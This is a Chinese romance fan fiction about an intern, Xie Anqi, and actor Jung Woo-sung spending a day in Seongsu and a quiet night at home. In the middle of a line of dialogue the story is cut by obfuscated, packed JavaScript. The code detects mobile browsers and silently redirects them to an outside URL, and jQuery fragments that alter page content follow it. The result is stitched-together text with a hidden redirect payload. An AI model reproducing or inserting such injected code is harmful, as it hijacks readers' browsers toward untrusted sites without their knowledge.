谢安琪躺在床上翻着手机，窗外阳光透进来，晃得她眼皮发痒，她随手抓了抓自己的眼皮，另一只手在继续刷着 Naver Blog上一个更新博主的主页，最上方那篇日志配了一张模糊却明亮的照片，是郑禹胜，穿黑色风衣，从片场走出来，笑着跟围在路边的几位粉丝挥手。文案只有一句：“今天也在光里。”
这应该是个粉丝？她盯着那句看了好几秒，心里这样想着，但自己也记不住思考了些什么，她慢慢拉回视线。照片下方是连着过去三天的拍摄行程、几个粉丝围观地点的细节地图、还有“今天他喝的是美式”的留言，像是几十人合写的一份公开日志，默契而有爱。
谢安琪没有留言，只轻轻关掉页面。但指尖却轻轻按住手机屏幕，像是按住某种悄悄流出的情绪。她在想，这些人不知道他们记录着的现在，或许会成为她穿越过的过去。
而郑禹胜，在谢安琪心里早就不再是只有光环的偶像了。但那种心情还是太熟悉了。谢安琪闭上眼，脑海里冒出很多片段，灯光刺眼的演唱会后台、布满打板声的片场门口、还有在应援名单里她反复校对日文和韩文名字的深夜，她曾经是其中的一员。
大学期间，她加入过一个中韩粉丝联合团体，负责跨国艺人饭拍翻译。她会在公演前和后校对交通安排、整理翻译字幕，也会在机场接机时站在角落，默默举着牌子。那时她认识了现在这位还偶尔联系的朋友，叫尹夏英，是个热情外向又什么都爱笑的人。
两人靠着一次送水应援认识，后来变成朋友，偶尔约吃饭、看展、互相借手帐。最近这朋友突然联系她：“你还在首尔吧？周末出来转转啊，圣水有新的咖啡活动，还有超多小赠品。”
谢安琪当时没立即回，直到看到这篇关于郑禹胜的Blog，她才点开那条消息，敲了个字，“好。” 她不是想再回到过去那种站在远处仰望的状态，只是偶尔也想看看，现在的她还能不能和这个世界普通地相处。
周六上午十点，她出了门，坐上地铁，穿一件杏灰色毛衣、米白半裙，拎着帆布袋到了圣水。圣水永远是首尔女生心里的理想散步地，老仓库被改造成咖啡厅，玻璃砖反射出街道上的金色光影，巷子两侧挤满了拿赠品的小摊，空气里混着咖啡和草莓奶油香味。
谢安琪站在巷口，看见尹夏英朝她挥手：“你真的来了！”
“你不一直催我吗？”
“不是，我以为你变成办公室人了，已经不出来吸阳光了。”
“我还是个实习生，又不是换了皮。”
两人边走边聊，排队拿赠品、扫码领活动券，拍照的拍照，收集印章的收集印章，像是一种成年人的限定式游乐场。
“你这些都还留着？”谢安琪指着朋友手上的应援卡。
“当然啊，我可不是三分钟热度的人。”
谢安琪笑着低头，把自己刚拿的那一套也递给她：“那你收藏得更完整点。”
下午三点，她们在咖啡厅排队等拿饮料。尹夏英刷着ins，忽然瞪大眼：“你知道吗？郑禹胜在圣水诶！和朋友来吃饭，好像是这家店！”
她举起手机给谢安琪看，画面里正好是附近不远的烤肉店。谢安琪看了一眼，淡淡地说：“那我们也去那家？”
“可以吗？你不会嫌人多吧？”
“我也想吃烤肉。”
到了餐厅门口，她一眼就看见了他。郑禹胜穿着帽T和牛仔裤，和两个朋友坐在靠窗的位置。余光扫过她时，只是轻轻点了下头。没多余表情，也没有熟识的微笑。但他很快站起来，走到门口对她们说：“我知道你，你们是我的粉丝对吗？不介意的话一起来吃吧，位置够。”
尹夏英兴奋得不行，小声问她：“你不是说你公司有艺人资源吗？他是你公司的？”
“……是。”
“哇，你居然没告诉我你偶像就是你实习单位的艺人！”
谢安琪笑笑：“我怕你失望。”
“为什么？”
“他不是你手机壁纸上的那个。”
朋友被噎了一下，但很快转移注意力：“但真人好帅！而且请我们吃饭，也太友善了吧！”餐桌上几人寒暄，气氛不算热烈却不失礼貌，郑禹胜不多说话，但偶尔看谢安琪一眼，她都装作没察觉。
餐厅灯光不算明亮，落在他侧脸上时反而让轮廓更清晰。帽沿下的眼神藏得很好，可她还是看得出来，他在确认什么，也在忍耐什么。饭后快八点，尹夏英要赶末班地铁，谢安琪陪她走到站口。
朋友拉着她说：“你今天是不是特别平静？”
“因为你太激动了，我得平衡。”
“那你今天开心吗？”
“开心。”
“那就够了。”
谢安琪看着她进站，然后回头，沿着来时的路，又走回了那家餐厅。门口，郑禹胜正倚在墙边，没看手机，也没点烟。他仿佛知道她会回来。她没说话，只走过去，他顺势牵起她的手，像是再自然不过的动作。
没有人看见他们牵手的瞬间，但她知道，那一刻，他还是她记忆里的那束光。深夜十一点过后，城市终于安静下来。两人回到家时，鞋柜灯还亮着。谢安琪脱下鞋子，轻轻将帆布袋挂回门边那根钉钩上。
郑禹胜在她身后换鞋，动作轻得几乎听不见，谢安琪走进厨房，从冰箱里拿了瓶牛奶，又问：“你要热一杯吗？”
“好。”
她装作自然地微笑，但手却下意识地紧了紧玻璃瓶。郑禹胜靠在门边，看她动作熟练地拧开瓶盖、倒进瓷杯、放进微波炉。这不是一日情侣之间能有的默契，而是每天都在重复的小动作，像是某种日常生活的定语，嵌在了每一个夜晚之后。
谢安琪转身将热好的牛奶递给他：“小心烫。” 郑禹胜接过，看了她一眼，轻声说：“你刚刚在我回来前，想不想我？”
她愣了一下，没回答，只是转身去收杯子，他没追问，但嘴角悄悄勾了一下。或许谢安琪的沉默比肯定更诚实。
“其实我也不是郑禹胜的粉丝。” 那天吃完饭，谢安琪的朋友回去后，在地铁群里发了这么一句。“ 我已经移情别恋喜欢中国的艺人了，那里帅哥多，我喜欢。”
她看到那句话，莫名有些好笑。因为谁又不是呢？饭桌上尹夏英还说偶像真人好像也有点社恐，说他吃饭时不怎么说话，但眼神里总有点发愣，像是心里另有一场风景。谢安琪没有回应。她知道那个男人刚才把菜单推给她时，低声问：“你今天是不是穿了我们去年在盘铺公园散步那天穿的外套？”
谢安琪笑了一下：“我以为你不记得那件。”
“我不记得名字，但我记得颜色。”
谢安琪那一刻想说，她已经不是那个对他遥不可及的局外人了。但最终，她只是低头喝了一口汤。不需要把感情说得太满，生活才有余地盛下更多来日的雨水和风声。睡前她去洗漱时，把脸埋在热水毛巾里，忽然想起这个时间线里自己刚在郑禹胜身边工作的那会儿，是在KCL公司实习面试结束后，她在走廊拐角撞见他。
那时他正从高层会议室出来，手里夹着文件，穿深灰西装，脸色疲倦却仍是光鲜亮丽。谢安琪几乎是下意识地想转身，但还是太晚。他认出她，步子一顿，但没叫她。直到她也微微点头，说：“郑代表。”
他没有回应，只轻轻扬了扬下巴算作打招呼，那天晚上，她给他发了一条信息：“我不是故意去你公司实习的。”
郑禹胜隔了一小时回她：“算了，我不在意这些。”
她看着那句，隔了很久才点开键盘，回了一句：“但真的不是最后，只是意外。”
那场短短对话之后，他就再没提过，但从第二天起，他就每天亲自去接她下班。谢安琪想或许是知道他在用行动告诉她：“你不需要假装不认识我。”
郑禹胜有时话不多，尤其是在她提起过去的事时。比如你还记得我穿过的那件红毛衣吗？他不说话，只会把毛衣晾得特别仔细；比如你上次说要带我去的店，是不是倒闭了？
他不解释，只是悄悄带她去了另一家更适合她的甜品店。郑禹胜不是不回应，而是用另一种方式回应。谢安琪曾经觉得这样不够坦率、不够情绪化。直到有一天，朋友问她：“他是不是很冷？”谢安琪才意识到，郑禹胜不是冷，而是慢。他所有的表达都带着一点时间差。可她已经习惯等了。
洗完澡后，谢安琪坐在沙发上吹头发。她没开灯，只靠厨房那盏吊灯照着。屋里很安静，只有风扇吹出的风拂过她头发的声音。郑禹胜走过来，将另一台小吹风机插上电源，放在她左边，弯下腰帮她拨开被贴住脖颈的发丝。
谢安琪微微偏头：“你不是不擅长这些？”
“在你这儿想多擅长一点。”
她抬眼看他。他低着头，动作轻缓，指尖却不时颤了一下。两人坐在暖黄灯光下，客厅窗外的绿灯一闪一闪，像是遥远但稳定的脉搏，静静闪着某种安慰。谢安琪忽然说：“你会不会有时候觉得我很不稳定？”
“我比你更不稳定。”
她轻轻笑了声。他们谁也没有再继续那个话题。因为都知道这不是个能有结果的问题。
“她今天还问我一个很尴尬的问题。”
“谁？”
“朋友，她问我喜不喜欢你。”
“那你怎么说？”
“我说不算喜欢。”
郑禹胜顿了一下，没说话。
“或许是因为我见到的是你太多版本。”谢安琪补了一句，“喜欢哪个，都不完整。”
“你是不是后悔认识我？”
“没有。”
她转头，头发甩过他的手背，像羽毛刷了一下。
“我只是在想，别人好像都只看到你一个面。我却看到太多了，每一个都好。”
“那也挺辛苦的。”
“所以我今天喝了两杯咖啡。”
“你今晚还睡得着吗？”
“只要你别讲话，我就能睡。”
他帮她吹完头发后，两人坐在阳台上喝水。城市的夜很深了，但远处楼下便利店前的灯还亮着。郑禹胜忽然说：“你有没有觉得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801495|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，我有点不像一个人了。”
谢安琪侧头看他：“你是在说你像谁？”
“不是谁，是说……有时候像个标志物，像海边的灯塔。所有人都来找我看光，但没人想靠近我身边。”
“那我算什么？”
“你像是坐在海岸边喝啤酒的那个人，一边看我，一边自己过得也挺自在。”
“我要是啤酒早喝完了怎么办？”
他低笑：“那我送你下去买。”
谢安琪说：“不，我是想说，我可能会起来，跑到灯塔下面看看那边的风景。”
谢安琪从帆布袋里翻出那块圣水市集送的小手工皂。她洗完手后，把它放在洗手台旁边的小陶瓷碟子里，郑禹胜走进来，看她这么认真，挑眉问：“你干嘛，留纪念？”
“我想知道这块肥皂能用多久。”
“然后呢？”
“就像我想知道，我们现在这种状态，能持续多久。”
“你是说，像肥皂一样洗完就没了？”
“不是，我是说，”她转过头看他，语气认真，“哪怕是会变少的东西，也值得记录下来。”
他点了点头：“那你最好买一块大的。”
整理完帆布袋里的小物品，谢安琪坐在床边擦护手霜。郑禹胜站在阳台给盆栽换水，没穿外套，只穿一件白T，肩膀线条被夜色柔化成不经意的温柔。她忽然意识到，自己已经习惯他在这里的生活痕迹，
习惯了牙刷不再只剩一支，习惯了冰箱里多出他带回来的面包、巧克力和维他命饮料，习惯了每次走进房间都能闻见一点点胡椒薄荷味的沐浴露。甚至习惯了，他回家时不用打招呼，她就知道他已经进门。这种变化不是从今天开始的，但直到此刻，她才真正承认：自己并不是那个一直在观望、徘徊、随时准备抽身的人。她也在不知不觉间，把自己揉进了这段关系里。
临睡前，谢安琪洗完脸从浴室出来，看见郑禹胜已经躺在床上，一只手搭在被子外面。床头灯还亮着，灯光投在他眉骨上，泛着浅金的柔光，谢安琪走过去，轻轻躺下。他像感应到她靠近一样，转头看了她一眼。
“你困吗？”她问。
“现在不困。”
“要不要看会儿书？”
“你陪我就行。”
她没再说话，只把头靠近他的肩。过了几秒，郑禹说把她往怀里轻轻一带。
“谢安琪。”
“嗯？”
“谢谢你今天来找我。”
她贴着他胸口，听见他心跳声稳稳地回荡，但很快，谢安琪又起身翻找着什么东西，郑禹胜看到后问起来，“你在干嘛？”
“找耳塞。”
“我不打呼。”
“不是你，我是怕窗外风声。”
“你以前不是说喜欢听窗外风吹的声音吗？”
“今天不一样。”
“哪里不一样？”
她爬上床，钻进被子，语气里有一点懒洋洋：“今天听你说话比听风好。”
“……你今天笑了好多次。”
“是吗？”
“以前你一天都不会笑三次。”
“那说明今天好。”
“我是不是也贡献了几次？”
“你可能是主要贡献者。”
郑禹胜轻轻笑了一声，伸手关掉床头灯。黑暗中传来谢安琪轻轻的一句：“谢谢你今天还陪我。”
他回了句：“以后也陪你。”
临睡前她把手机调成勿扰模式，又看了一眼屏幕。没有新消息。她把手机反扣放下，灯也不再开着，侧身看向身边那人。
“你今天看起来有点温柔。”
“我平时不温柔吗？”
“你平时像一个不讲理但自控能力极强的人。”
“那今天呢？”
“今天你像一个终于愿意放松一点的人。”
郑禹胜转过脸，靠得更近了些：“是不是因为你今天也放松了？”
“也许吧。”
“你是不是不觉得我们这样就算在一起了？”
“有点。”
“为什么？”
她想了想，轻声说：“因为还没到你真的说我们在一起了的那天。”他没再追问，只是伸出手，像安抚一样地搭在她的腰侧。过了许久，他低低地说了一句：“那就从今天算吧。”
谢安琪没应声。但她没推开他的手。夜已经很深了，窗外的城市终于停止了喧闹。远处高速公路的车辆也像约好了一样暂时沉默，只剩下某一栋楼的广告灯牌偶尔一闪，像深海中浮起的一束光。
谢安琪侧耳听着郑禹胜的呼吸，均匀又轻缓。他们之间没有太多情绪起伏，没有突如其来的亲吻，也没有争执或者缄默。她忽然觉得，如果未来真的就是这样一天天重复下去，也并不难熬。
因为她终于开始相信，有些人，即使他曾站在光里，也愿意坐到你身边，陪你喝一杯微温的水。最后她没说话，翻身靠近了他一点。夜里的安静总是让人心软。他们没有说晚安，但一切都已经说完了。